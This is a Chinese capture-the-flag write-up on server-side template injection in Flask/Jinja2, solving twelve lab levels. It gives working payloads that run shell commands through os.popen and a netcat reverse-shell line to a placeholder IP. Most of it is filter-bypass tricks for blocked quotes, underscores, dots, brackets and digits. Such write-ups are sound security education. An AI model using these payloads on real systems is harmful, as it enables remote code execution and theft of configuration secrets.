本文有些地方疯狂抄lexsd6的博文
如何产生的ssti
?
ssti起因是在通过与服务端模板的输入输出交互时,服务器端把用户提交的数据处理,当成了代码来执行.从而让恶意用户通过构建了恶意代码,来读取了服务器上的信息或得到了服务器的shell.例如:在python的flask中,会把{ { } }
号里面的参数当成代码来执行,如{ {1+1} }
会被执行成为{ {2} }
由于python的语法一贯奉行“一切皆是对象”的原则,所以python的一切变量都由类实例而来同时python有很多管理这些类与对象的内置魔术方法或函数
当你加载一个模块的时候,会在当前的全局命名空间中创建一个名为os
的变量,指向这个os
模块对象
level1
lipsum
是jiaja
中的全局函数
没有过滤,直接注入即可
pyload
{{lipsum.__globals__.os.popen('ls -alh').read()}}
level2
过滤{{}}
可以用{%%}
{% ... %}
用来标记语句,比如 if 语句,for 语句等
在里面可以执行print语句所以pyload就很简单了
pyload
{%print(lipsum.__globals__.os.popen('ls -alh').read())%}
level3
注入测试后发现是bool盲注,既然是bool盲注就得外带数据
外带数据的思路一共有两种,一是dnslog外带数据,二是反弹shell,这里就用 反弹shell了,反弹shell需要一个公网ip
{{lipsum.__globals__.os.popen('netcat xxx.xxx.xxx.xxx 2333 -e /bin/bash').read()}}
靶机没装netcat也没curl,所以这里连不上,知道思路就行了
level4
过滤了[]
我们指令本来也没用[]
所以直接过了
{{lipsum.__globals__.os.popen('ls -alh').read()}}
level5
过滤了单双引号
用request模块注入
url='http://node5.anna.nssctf.cn:28413/level/5?qwq=ls'
code={{lipsum.__globals__.os.popen(request.args.qwq).read()}}
level 6
过滤了下划线,那依然可以用request模块绕过
url='http://node5.anna.nssctf.cn:28413/level/6?qwq=__globals__'
code={{(lipsum|attr(request.args.qwq)).os.popen('ls').read()}}
level 7
过滤了点,那么得用关键字attr()
在python
中,我们常常是通过.来获取变量的属性的.例如().__class__
.
但jinja2给我们提供了另外两种思路:[]
与|attr
在jinji2中有一种独特的调用机制,这种机制本意是用来对
{ {
与{ %
中的数据进行筛选或类型转化的. 过滤器通过|
来调用它们.例如|attr()
就是一个典型的过滤器 by lexsd6
在python中,我们可以用.
来查找属性,而在jinja2
中我们可以用attr()
查找属性
{{lipsum|attr('__globals__')}}
可以正确查找globals属性,但是不能再使用|attr('os')
,因为os
是globals的一个键而不是一个属性
可以用[]
获取
payload:
{{(lipsum|attr('__globals__'))['os']|attr('popen')('ls')|attr('read')()}}
level 8
这题是关键字过滤,而且也过滤了request
可以用+
拼接,可以用~
拼接,也可以用关键字reverse
逆转
这里用+
拼接
payload
{{lipsum['__glob'+'als__']['o'+'s']['pop'+'en']('ls /').read()}}
level 9
过滤了数字
payload
{{lipsum.__globals__.os.popen('ls -alh').read()}}
level 10
得到config
配置文件
一般情况下可以用{{config}}
直接获得,但有时会过滤关键字,那么就可以用迂回的方式得到
当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串
flask内置函数
函数 | 作用 |
---|---|
lipsum | 可加载第三方库 |
url_for | 可返回url路径 |
get_flashed_message | 可获取消息 |
使用内置函数调用current_app模块进而查看配置文件current_app
可输出当前app(即flask)
所以可以通过内置函数获得current_app
进而获得config
payload:
{{url_for.__globals__['current_app'].config}}
level 11
过滤了.
[]
request
'
"
join
关键字
返回一个字符串,该字符串是序列中字符串的串联。元素之间的分隔符默认为空字符串,可以使用可选参数定义字符串。(ps:如果对象是字典,则只拼接 键 )
payload
{% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
level 12
过滤 '
"
_
0-9
.
[ ]
\
空格
{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}